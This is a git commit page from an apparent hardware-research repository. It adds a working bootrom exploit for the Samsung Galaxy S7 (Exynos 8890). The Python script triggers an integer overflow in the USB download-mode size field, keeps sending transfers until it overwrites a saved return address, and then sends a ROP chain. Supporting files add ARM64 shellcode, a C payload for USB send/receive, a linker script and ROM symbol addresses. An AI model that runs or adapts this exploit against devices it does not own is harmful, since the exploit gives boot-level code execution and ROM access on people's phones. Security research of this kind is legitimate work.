EljakimHerrewijnen/Samsung_S7
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

send/receive working

Browse Source
This commit is contained in:
Eljakim Herrewijnen 2024-08-02 15:51:35 +02:00
parent a0cdbd2310
commit 10e4590faf
12 changed files with 3728 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

17
source/exploit/Makefile Normal file
View File

@ -0,0 +1,17 @@
ifeq ($(ANDROID_NDK_ROOT),)
$(error Error : Set the env variable 'ANDROID_NDK_ROOT' with the path of the Android NDK (version 20))
endif
CC := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android27-clang
AR := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ar
OBJCOPY := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-objcopy
LD := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ld.bfd
#==================Target Samsung S7 (8890)==================
CFLAGS_SAMSUNGS7 = -Os
dwc3:
$(CC) entry.S -c -o entry.o $(CFLAGS_SAMSUNGS7)
$(CC) $(CFLAGS_SAMSUNGS7) -c test_dwc3.c -o dwc3.o
$(LD) -T test_dwc3.ld entry.o dwc3.o -o dwc3.elf --just-symbols=symbols.txt
$(OBJCOPY) -O binary dwc3.elf dwc3.bin

BIN
source/exploit/dump_bootrom.elf Normal file
View File

Binary file not shown.

BIN
source/exploit/dwc3.elf Executable file
View File

Binary file not shown.

BIN
source/exploit/dwc3.o Normal file
View File

Binary file not shown.

46
source/exploit/entry.S Normal file
View File

@ -0,0 +1,46 @@
start:
b main
.text
.global rom_send
rom_send:
mov w1, #0x20000 // size
mov w0, #0x0 // address
bl usb_send
ret
.text
.global usb_send
usb_send:
stp x29, x30, [sp,#-48]!
mov w3, #0x0
bfxil w3, w1, #0, #24
mov w1, #0xc12
mov x29, sp
stp x19, x20, [sp,#16]
mov x5, #0xc834
mov w20, #0x1
movk x5, #0x1540, lsl #16
ldr x2, [x29,#40]
mov x4, #0xc838
orr w6, w1, w20
movk x4, #0x1540, lsl #16
mov x19, #0xc83c
movk x19, #0x1540, lsl #16
stp w3, w1, [x2,#8]
mov w3, #0x406
stp w0, wzr, [x2]
mov w0, w20
ldr x1, [x29,#40]
strb w6, [x2,#12]
; mov x2, #0x27c8
str w1, [x5]
mov w1, #0x1388
str wzr, [x4]
str w3, [x19]
; blr x2
mov w0, w20
ldr w1, [x19]
ldp x19, x20, [sp,#16]
ldp x29, x30, [sp],#48
ret

BIN
source/exploit/entry.o Normal file
View File

Binary file not shown.

316
source/exploit/exploit.py Normal file
View File

@ -0,0 +1,316 @@
import usb.util
import struct, sys, usb1, libusb1, ctypes, usb, argparse
from keystone import *
from capstone import *
# from ghidra_assistant.utils.utils import *
def p32(x):
return struct.pack("<I", x)
def p8(x):
return struct.pack("<B", x)
def p16(x):
return struct.pack("<H", x)
def p64(x):
return struct.pack("<Q", x)
BLOCK_SIZE = 512
CHUNK_SIZE = 0xfffe00
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10)
DL_BUFFER_START = 0x02021800
DL_BUFFER_SIZE = 0x4E800 #0x02070000 End
BOOTROM_START = 0x0
BOOTROM_SIZE = 0x20000 #128Kb
TARGET_OFFSETS = {
# XFER_BUFFER, RA_PTR, XFER_END_SIZE
"8890": (0x02021800, 0x02020F08, 0x02070000),
"8895": (0x02021800, 0x02020F18, 0x02070000)
}
ENDPOINT_BULK_IN = 0x81
ENDPOINT_BULK_OUT = 0x2
class ExynosDevice():
def __init__(self, idVendor=0x04e8, idProduct=0x1234):
"""Init with vendor/product IDs"""
self.idVendor = idVendor
self.idProduct = idProduct
self.target = "8890" # TODO auto detect device
self.connect_device()
def connect_device(self):
self.context = usb1.USBContext()
while True:
self.handle = self.context.openByVendorIDAndProductID(
vendor_id=self.idVendor,
product_id=self.idProduct,
skip_on_error=True
)
if self.handle == None:
continue
break
print("Connected device!")
def write(self, data, size=-1):
transfered = 0
transferred = ctypes.c_int()
if size == -1:
size = len(data)
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 0)
assert(res == 0)
return transfered
def send_empty_transfer(self):
transfered = 0x200
transferred = ctypes.c_int()
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0)
assert(res == 0)
return transfered
def test_bug_2(self):
# Also bug here
# payload = p32(1) + p32(CHUNK_SIZE + 0x2001) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
# self.write(payload, MAX_PAYLOAD_SIZE)
# self.write(b"\xaa" * CHUNK_SIZE, CHUNK_SIZE)
transferred = ctypes.c_int()
bug_payload = p32(0) + p32(0x201 + 2 + MAX_PAYLOAD_SIZE + 0x7) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
assert res == 0
payload = b"\xaa" * 0x200
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
assert res == 0
payload = b"\xaa" * 0x200
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
while True:
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
pass
def test_bug(self):
# Start by sending a valid packet
# Integer overflow in the size field
# unk + size + payload + header
payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
assert (len(payload) == BLOCK_SIZE)
self.write(payload, MAX_PAYLOAD_SIZE)
for i in range(200):
print(hex(self.send_empty_transfer()))
print('Bug probably available')
sys.exit(0)
def send_normal(self, payload):
# construct dl_data
payload = struct.pack("<II", 0, len(payload)) #+ (payload + b"\x00" * 2)
transferred = ctypes.c_int()
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
assert res == 0, "Error sending payload"
pass
def exploit(self, payload: bytes):
current_offset = TARGET_OFFSETS[self.target][0]
transferred = ctypes.c_int()
size_to_overflow = 0x100000000 - current_offset + TARGET_OFFSETS[self.target][1] + 8 + 6
max_payload_size = 0x100000000 - size_to_overflow
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE)
# max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
# max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200
payload = payload + ((max_payload_size - len(payload)) * b"\x00")
assert len(payload) == max_payload_size, "Invalid payload"
# First send payload to trigger the bug
bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
assert res == 0, "Error triggering payload"
assert transferred.value == len(bug_payload), "Invalid transfered size"
current_offset += len(bug_payload) - 8 # Remove header
cnt = 0
while True:
if current_offset + CHUNK_SIZE >= TARGET_OFFSETS[self.target][1] and current_offset < TARGET_OFFSETS[self.target][1]:
break
self.send_empty_transfer()
current_offset += CHUNK_SIZE
cnt += 1
if current_offset > 0x100000000:
current_offset = current_offset - 0x100000000 #reset 32 byte integer
print(f"{cnt} {hex(current_offset)}")
remaining = (TARGET_OFFSETS[self.target][1] - current_offset)
assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet"
if remaining > BLOCK_SIZE:
self.send_empty_transfer()
# Send last transfer, TODO who aligns this ROM??
current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE)
cnt += 1
print(f"{cnt} {hex(current_offset)}")
# Build ROP chain.
rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2)
transferred = ctypes.c_int(0)
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0)
assert res == 0, "Error sending ROP chain"
from ghidra_assistant.utils.utils import *
ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN)
def usb_debug():
shellcode = f"""
start:
adr x0, test_fun
ldr x0, [x0]
blr x0
mov w1, #0x20000 // size
mov w0, #0x0 // address
bl usb_send
mov x0, #0
br x0 //reset
#Setup read usb
mov w0, #0x2
adr x1, shellcode_base
ldr x1, [x1]
mov w2, #0x02020000
add w2, w2, #0x2000
# endpoint, cb, buffer
adr x5, maybe_usb_setup_read
ldr x5, [x5]
blr x5
# Get something?? arg0 is endpoint
mov w0, #0x2
adr x1, maybe_read_size_endpoint
ldr x1, [x1]
blr x1
# # Send some data from ROM
# mov w1, #0x200 // size
# mov w0, #0x0 // address
# bl usb_send
# mov x0, #0
# br x0 //reset
# # dwc3_ep0_start_trans
# mov w1, w0
# mov w0, #0x2
# mov w2, #0x200
# adr x5, dwc3_ep0_start_trans
# ldr x5, [x5]
# blr x5
# # Send some data from ROM
# mov w1, #0x200 // size
# mov w0, #0x0 // address
# bl usb_send
# mov x0, #0
# br x0 //reset
usb_send:
stp x29, x30, [sp,#-48]!
mov w3, #0x0
bfxil w3, w1, #0, #24
mov w1, #0xc12
mov x29, sp
stp x19, x20, [sp,#16]
mov x5, #0xc834
mov w20, #0x1
movk x5, #0x1540, lsl #16
ldr x2, [x29,#40]
mov x4, #0xc838
orr w6, w1, w20
movk x4, #0x1540, lsl #16
mov x19, #0xc83c
movk x19, #0x1540, lsl #16
stp w3, w1, [x2,#8]
mov w3, #0x406
stp w0, wzr, [x2]
mov w0, w20
ldr x1, [x29,#40]
strb w6, [x2,#12]
mov x2, #0x27c8
str w1, [x5]
mov w1, #0x1388
str wzr, [x4]
str w3, [x19]
blr x2
mov w0, w20
ldr w1, [x19]
ldp x19, x20, [sp,#16]
ldp x29, x30, [sp],#48
ret
usb_read_endpoint: .quad 0x00006654
maybe_usb_setup_read: .quad 0x00006f88
shellcode_base: .quad 0x02021800
maybe_read_size_endpoint: .quad 0x00007a7c
dwc3_ep0_start_trans: .quad 0x0000791c
test_fun: .quad 0x000064e0
"""
shellcode = ks.asm(shellcode, as_bytes=True)[0]
shellcode = open("dwc3.bin", "rb").read()
assert len(shellcode) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
exynos = ExynosDevice()
exynos.exploit(shellcode)
transferred = ctypes.c_int()
# Send some data
def send_data():
transferred.value = 0
p = b"\xaa" * 0x200
res = libusb1.libusb_bulk_transfer(exynos.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100)
assert res == 0, "Error sending data"
def recv_data():
transferred.value = 0
buf = ctypes.c_buffer(b"", 0x200)
res = libusb1.libusb_bulk_transfer(exynos.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)
pass
# Should have received some bytes
while True:
send_data()
recv_data()
pass
pass
if __name__ == "__main__":
arg = argparse.ArgumentParser("Exynos exploit")
arg.add_argument("--debug", action="store_true")
args = arg.parse_args()
if args.debug:
usb_debug()
sys.exit
# usb_debug()
# sys.exit(0)
# wait_for_device()
exynos = ExynosDevice()
exynos.send_normal(open("S7/fwbl1.bin", 'rb').read())
sys.exit()
# exynos.test_bug_2()
sys.exit(0)
path = "dump/exynos-usbdl/payloads/Exynos8890_dump_bootrom.bin"
# path = "/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin"
exynos.exploit(open(path, "rb").read())
pass

3234
source/exploit/exynos8890.dtsi Normal file
View File

File diff suppressed because it is too large Load Diff

9
source/exploit/ghidra.py Normal file
View File

@ -0,0 +1,9 @@
from ghidra_assistant.ghidra_assistant import GhidraAssistant
if __name__ == "__main__":
rom = open("S7/rom.bin", 'rb').read()
ga = GhidraAssistant()
ga.ghidra.add_memory(rom, 0x0, True, "ROM")
pass

5
source/exploit/symbols.txt Normal file
View File

@ -0,0 +1,5 @@
maybe_usb_setup_read = 0x00006f88;
dwc3_ep0_start_trans = 0x0000791c;
usb_event_handler = 0x00007bac;
get_endpoint_buffer = 0x00007a7c;
sleep = 0x000027c8;

87
source/exploit/test_dwc3.c Normal file
View File

@ -0,0 +1,87 @@
#include <stdint.h>
// Create external function at 0x00006f88
extern void maybe_usb_setup_read(char endpoint,void *fun,uint32_t target_buffer);
extern void dwc3_ep0_start_trans(char endpoint,uint32_t target_buf, uint32_t len);
extern int usb_event_handler(void);
extern void * get_endpoint_buffer(char endpoint);
extern void sleep(int endpoint,uint32_t timeout);
extern void usb_send(uint32_t address,uint32_t size);
extern void rom_send();
#define recv_buffer 0x02021800 + 0x2000
#define data_received 0x02021800 + 0x2004
void recv_data_cb(uint32_t endpoint, uint32_t len){
void *rbuf;
void *dest_buf = (void *)recv_buffer;
volatile void *dref = (void *)data_received;
rbuf = get_endpoint_buffer(endpoint);
for(int i= 0; i < len; i++){
*(char *)dest_buf = *(char *)(void *)((int)rbuf + i);
}
*(uint8_t *)dref = 1; // Mark as ready
}
void recv_data(){
// Set data_received to 0
// uint32_t *r = (uint32_t *) data_received;
// r = 0;
volatile void *dref = (void *)data_received;
*(uint8_t *)dref = 0;
maybe_usb_setup_read(2, recv_data_cb, 0x200);
void *rbuf = get_endpoint_buffer(2);
dwc3_ep0_start_trans(2, (uint32_t)rbuf, 0x200);
while(1){
usb_event_handler();
if(*(uint8_t *)dref == 1){
break;
}
}
}
void send_data_cb(uint32_t endpoint, uint32_t len){
void *rbuf;
void *dest_buf = (void *)recv_buffer;
volatile void *dref = (void *)data_received;
// rbuf = get_endpoint_buffer(endpoint);
// for(int i= 0; i < len; i++){
// *(char *)dest_buf = *(char *)(void *)((int)rbuf + i);
// }
*(uint8_t *)dref = 1; // Mark as ready
}
void send_data(void *address, uint32_t size){
volatile void *dref = (void *)data_received;
*(uint8_t *)dref = 0;
maybe_usb_setup_read(0x1, send_data_cb, 0x200);
void *rbuf = get_endpoint_buffer(1);
dwc3_ep0_start_trans(1, (uint32_t)rbuf, 0x200);
while(1){
usb_event_handler();
if(*(uint8_t *)dref == 1){
break;
}
}
}
int main() {
while(1){
recv_data();
// rom_send();
send_data(0x0, 0x200);
}
// recv_data();
// sleep(1, 5000);
asm("mov x0, #0x0");
asm("br x0");
}

14
source/exploit/test_dwc3.ld Normal file
View File

@ -0,0 +1,14 @@
MEMORY {
ROM (rwx): ORIGIN = 0x02021800, LENGTH = 0x1000
}
SECTIONS
{
. = 0x02021800;
.text . : {
*(.text*)
*(.data*)
*(.rodata*)
} >ROM
}